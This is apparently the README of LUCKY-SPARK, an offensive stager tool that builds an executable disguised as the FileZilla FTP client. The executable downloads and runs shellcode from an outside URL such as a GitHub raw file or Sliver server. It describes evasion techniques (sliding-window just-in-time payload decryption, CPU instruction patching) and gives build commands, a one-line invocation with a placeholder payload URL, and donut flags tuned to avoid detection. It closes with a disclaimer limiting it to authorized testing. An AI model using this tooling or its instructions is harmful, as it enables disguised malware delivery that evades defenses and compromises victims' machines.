
A stealthy stager designed for shellcode payloads staged with http/https like Sliver, or on github raw.
⟪ LUCKY-SPARK ⟫ is a stager designed for shellcode payloads staged with http/https like sliver or on github raw. It uses modern obfuscation and evaion methods like sliding window just-in-time decryption of the payload and cpu instruction patching. By default it creates an executable masquarading as the filezilla ftp client.
Clone or download the repository and ensure you have make and mingw installed on your system.
git clone <repository_url>
cd LUCKY-SPARK
Execute the binary creation script.
./luckySpark.sh
you will be asked to enter the URL to your staged payload and an optional User-Agent.

Can be executed in one line to be able to be implemented into scripts:
./luckySpark.sh -u https://github.com/GITHUBNAME/PAYLOADREPO/raw/refs/heads/main/PAYLOAD.bin -a "Mozilla/5.0"

If you use donut or Sliver (which uses donut) I recommend these flags to create the payload:
donut.exe -i examplePayload.exe -a 2 -e 1 -z 1 -b 1 -o payload.bin
This avoids suspicious and flagged behavior by donut. Especially the evasion of donut is highly flagged ironically.
This creates a binary filezilla.exe which when executed retrieves and executes the payload.
This stager was designed to be used with Sliver. Stage a Sliver payload as described here Sliver Staging Do not encrypt the payload.
But any http/https based staging method will work.
like python3 -m http.server
or a payload uploaded to github.com in a public repo.
This stager does NOT support the meterpreter staging protocol.
Step 1: RIP hits Page 0 and Page 0 gets decrypted
Pages: [ D | E | E | ... ]
RIP -> ^
Step 2: RIP hits Page 1 and Page 1 gets decrypted
Pages: [ D | D | E | ... ]
RIP -> ^
Step 3: RIP hits Page 2 and Page 2 gets decrypted. Page 0 gets encrypted
Pages: [ E | D | D | ... ]
RIP -> ^
LUCKY-SPARK is intended for educational, research, and authorized penetration testing only. Unauthorized use against systems without permission is illegal and unethical.